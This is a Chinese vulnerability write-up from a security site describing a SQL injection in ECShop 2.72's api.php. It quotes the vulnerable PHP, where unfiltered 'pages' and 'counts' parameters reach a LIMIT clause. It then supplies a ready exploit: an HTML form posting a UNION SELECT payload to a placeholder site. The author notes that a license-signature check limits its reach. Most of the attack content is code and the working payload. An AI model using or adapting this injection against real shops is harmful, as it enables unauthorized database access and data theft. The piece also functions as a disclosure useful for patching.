首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
ecshop2.72 api.php 文件鸡肋注入
来源:vfocus.net 作者:xhm1n9 发布时间:2010-11-16  

/api.php
.........................
switch ($_POST['act'])
{
    case 'search_goods_list': search_goods_list(); break;
    //............................
    default: api_err('0x008', 'no this type api'); //输出系统级错误:数据异常
}
.........................
  
function search_goods_list()
{
    check_auth();           //检查基本权限 ~~~鸡肋了      
  
    $version = '1.0'; //版本号
  
    if ($_POST['api_version'] != $version)    //网店的接口版本低
    {
         api_err('0x008', 'a low version api');
    }
  
    if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time']))
    {
         $sql = 'SELECT COUNT(*) AS count' .
              ' FROM ' . $GLOBALS['ecs']->table('goods') .
              " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update =
0)";
         $date_count = $GLOBALS['db']->getRow($sql);
  
         if (empty($date_count))
         {
           api_err('0x003', 'no data to back'); //无符合条件数据
         }
  
         $page = empty($_POST['pages']) ? 1 : $_POST['pages'];       //没过滤
         $counts = empty($_POST['counts']) ? 100 : $_POST['counts']; //没过滤

  
      $sql = 'SELECT goods_id, last_update AS last_modify' .
              ' FROM ' . $GLOBALS['ecs']->table('goods') .
              " WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update =
0)".
              " LIMIT ".($page - 1) * $counts . ', ' . $counts;       //$counts也没用单引号包含
         $date_arr = $GLOBALS['db']->getAll($sql);
   ..............................
}
  
function check_auth()
{
    $license = get_shop_license();   // 取出网店 license信息
    if (empty($license['certificate_id']) || empty($license['token']) || empty($license['certi']))
    {
         api_err('0x006', 'no certificate'); //没有证书数据,输出系统级错误:用户权限不够
    }
  
    if (!check_shopex_ac($_POST, $license['token']))
    {
         api_err('0x009'); //输出系统级错误:签名无效
    }
  
    /* 对应用申请的session进行验证 */
    $certi['certificate_id'] = $license['certificate_id']; // 网店证书ID
    $certi['app_id'] = 'ecshop_b2c'; // 说明客户端来源
    $certi['app_instance_id'] = 'webcollect'; // 应用服务ID
    $certi['version'] = VERSION . '#' .   RELEASE; // 网店软件版本号

    $certi['format'] = 'json'; // 官方返回数据格式
    $certi['certi_app'] = 'sess.valid_session'; // 证书方法
    $certi['certi_session'] = $_POST['app_session']; //应用服务器申请的session值
    $certi['certi_ac'] = make_shopex_ac($certi, $license['token']); // 网店验证字符串
  
    $request_arr = exchange_shop_license($certi, $license);
    if ($request_arr['res'] != 'succ')
    {
         api_err('0x001', 'session is invalid'); //输出系统级错误:身份验证失败
    }
}
  
  
function get_shop_license()
{
    // 取出网店 license
    $sql = "SELECT code, value
           FROM " . $GLOBALS['ecs']->table('shop_config') . "
           WHERE code IN ('certificate_id', 'token', 'certi')
           LIMIT 0,3";
    $license_info = $GLOBALS['db']->getAll($sql);
    $license_info = is_array($license_info) ? $license_info : array();
    $license = array();
    foreach ($license_info as $value)
    {
         $license[$value['code']] = $value['value'];
    }
  
    return $license;
}
      鸡肋的是check_auth()作了权限检查

 

 

EXP:

<form name="p_form" id="p_form" method="post" action="http://www.xxxx.com/api.php" enctype="multipart/form-data">
<input name='act' type="text" value="search_goods_list">
<input name='api_version' type="text" value="1.0">
<input name='last_modify_st_time' type="text" value="1">
<input name='last_modify_en_time' type="text" value="1">
<input name='pages' type="text" value="">
<input name='ac' type="text" value="ac">
<input name='counts' type="text" value="1 union select user(),2">
<input name="sub" type="submit" value="提交" />
</form>



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·Discuz!后台拿Webshell 0day
·Discuz3.2后台文件包含漏洞可后
  相关文章
·ewebeditor 5.2 列目录漏洞
·6kbbs v8.0论坛两个漏洞
·PHP 5.x COM functions提权漏洞
·帝国6.5后台拿SHELL
·Destoon B2B SQL注射 & 后台代码
·163K地方门户网站系统getshell 0
·由自定义QQ商业信纸 引发的邮件
·Linux 系统文件描述符继承带来的
·SiteEngine 7.1 SQL注入漏洞0day
·SiteEngine 6.0 SQL注入漏洞0day
·JCMS 2010 file download vulner
·DEDECMS V5.6 继续get shell
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved